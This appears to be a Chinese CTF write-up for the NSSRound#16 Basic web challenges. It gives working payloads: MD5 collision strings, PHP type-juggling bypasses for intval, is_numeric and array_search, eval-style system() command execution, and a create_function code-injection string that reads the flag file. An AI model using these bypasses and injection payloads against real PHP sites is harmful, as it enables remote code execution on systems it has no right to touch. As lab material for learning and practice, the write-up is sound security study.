[NSSRound#16 Basic]Web
最编程
2024-02-17 12:23:07
...
1.RCE但是没有完全RCE
显示md5强比较,然后md5_3随便传
md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&md5_3=1
下一个目录3z_RC3.php
法一:可以不用shell,直接利用cmd实现rce
shell=urlencode
cmd=system($_POST[x]);
x=cat /flag
或者用array_pop函数,返回数组最后一个元素
2.了解过PHP特性吗
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
第一层,无数字intval绕过,用非空数组
num[]=a
第二层md5弱比较
纯字母QNKCDZO
纯数字240610708
注意会翻转,要倒着写
ctype=OZDCKNQ&is_num=807016042
第三层intval长度限制绕过,is_numeric绕过
114用科学计数法1e9
514用数字加字母绕过!is_numeric
114=1e9&514=99999999a
第四层array_search绕过
arr4y数组里面不能有NSS,但是NSS的键名要是0
测试发现,当键名和值都是0的时候,array_search匹配不到NSS也会返回键名
所以arr4y[]=0
arr4y[]=0
提示下一页是Rc3_function.php
create_function注入
shell传空内容,nss传1;}system("cat /f*");/*
nss=1;}system("cat /f*");/*&shell=
推荐阅读
-
红矿谷初步 2024-web-wp
-
使用 ganache 实现 Web3js 与区块链交互的步骤及问题解决方案:未找到命令 "express "等。
-
CS50:Django Notes - 创建一个简单的 Django Web 应用程序
-
美团点评金融平台 Web 前端技术系统
-
为什么 SpringBoot 不再有 web.xml?
-
Spring Web MVC 入门 (2) - 请求
-
IDEA 开发查找 java-web 发布到 tomcat 的路径 - 为什么需要查找 tomcat 路径?
-
Java Web 开发 - 掌握拦截器和监听器
-
Movie-web "一个非常简单而独特的电影网站开源项目
-
文件夹上传的 java web 实现(保留目录结构)